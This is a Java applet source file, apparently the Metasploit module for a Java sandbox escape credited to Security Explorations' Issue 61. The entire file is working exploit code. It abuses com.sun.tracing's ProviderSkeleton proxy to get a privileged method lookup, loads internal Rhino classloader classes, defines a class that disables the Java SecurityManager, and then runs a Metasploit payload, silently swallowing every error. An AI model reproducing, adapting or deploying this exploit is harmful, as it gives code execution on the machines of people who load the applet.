119 lines
3.5 KiB
Java
119 lines
3.5 KiB
Java
import java.applet.Applet;
|
|
import java.io.ByteArrayOutputStream;
|
|
import java.io.InputStream;
|
|
import java.lang.invoke.MethodHandle;
|
|
import java.lang.invoke.MethodHandles;
|
|
import java.lang.invoke.MethodType;
|
|
import java.lang.reflect.InvocationHandler;
|
|
import java.lang.reflect.Method;
|
|
import java.lang.reflect.Proxy;
|
|
|
|
import metasploit.Payload;
|
|
|
|
import com.sun.tracing.Provider;
|
|
import com.sun.tracing.ProviderFactory;
|
|
|
|
/**
|
|
* Class exploiting the vulnerability in the ProviderSkeleton class. Based on
|
|
* POC of Security Explorations' Issue 61.
|
|
*
|
|
* @author mk
|
|
*
|
|
*/
|
|
|
|
public class Exploit extends Applet {
|
|
|
|
InvocationHandler invoc = null;
|
|
MethodHandles.Lookup look;
|
|
|
|
public Exploit() {
|
|
try {
|
|
|
|
ByteArrayOutputStream classInputStream = new ByteArrayOutputStream();
|
|
byte[] classBuffer = new byte[8192];
|
|
int classLength;
|
|
|
|
InputStream inputStream = getClass().getResourceAsStream(
|
|
"DisableSecurityManagerAction.class");
|
|
|
|
while ((classLength = inputStream.read(classBuffer)) > 0)
|
|
classInputStream.write(classBuffer, 0, classLength);
|
|
|
|
classBuffer = classInputStream.toByteArray();
|
|
|
|
ProviderFactory fac = ProviderFactory.getDefaultFactory();
|
|
Provider p = fac.createProvider(ExpProvider.class);
|
|
invoc = Proxy.getInvocationHandler(p);
|
|
Class handle = java.lang.invoke.MethodHandles.class;
|
|
|
|
Method m = handle.getMethod("lookup", new Class[0]);
|
|
look = (MethodHandles.Lookup) invoc.invoke(null, m, new Object[0]);
|
|
|
|
Class context = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.Context");
|
|
Class defClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.DefiningClassLoader");
|
|
Class genClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
|
|
|
|
MethodHandle enterMethod = getMethod(context, "enter", context,
|
|
new Class[0], true);
|
|
|
|
Class argTypes[] = new Class[1];
|
|
argTypes[0] = ClassLoader.class;
|
|
|
|
MethodHandle createClassLoader = getMethod(context,
|
|
"createClassLoader", genClassLoader, argTypes, false);
|
|
|
|
argTypes = new Class[2];
|
|
argTypes[0] = Class.forName("java.lang.String");
|
|
argTypes[1] = (new byte[0]).getClass();
|
|
|
|
MethodHandle defineClass = getMethod(defClassLoader, "defineClass",
|
|
java.lang.Class.class, argTypes, false);
|
|
|
|
Object enterContext = enterMethod.invoke();
|
|
Object cLoader = createClassLoader.invoke(enterContext, null);
|
|
Class disabler = (Class) defineClass.invoke(cLoader,
|
|
"DisableSecurityManagerAction", classBuffer);
|
|
disabler.newInstance();
|
|
Payload.main(null);
|
|
|
|
} catch (Throwable e) {
|
|
|
|
}
|
|
|
|
}
|
|
|
|
private Class loadClassUnderPrivContext(String className) throws Throwable {
|
|
Class ret = null;
|
|
|
|
Class theClass = java.lang.Class.class;
|
|
|
|
Class argTypes[] = new Class[1];
|
|
argTypes[0] = String.class;
|
|
|
|
Method m = theClass.getMethod("forName", argTypes);
|
|
|
|
Object argObjects[] = new Object[1];
|
|
argObjects[0] = className;
|
|
|
|
ret = (Class) invoc.invoke(null, m, argObjects);
|
|
|
|
return ret;
|
|
}
|
|
|
|
private MethodHandle getMethod(Class c, String methodName,
|
|
Class returnType, Class argTypes[], boolean isStaticMethod)
|
|
throws NoSuchMethodException, IllegalAccessException {
|
|
MethodHandle ret = null;
|
|
|
|
MethodType methodType = MethodType.methodType(returnType, argTypes);
|
|
|
|
if (isStaticMethod)
|
|
ret = look.findStatic(c, methodName, methodType);
|
|
else
|
|
ret = look.findVirtual(c, methodName, methodType);
|
|
|
|
return ret;
|
|
}
|
|
|
|
}
|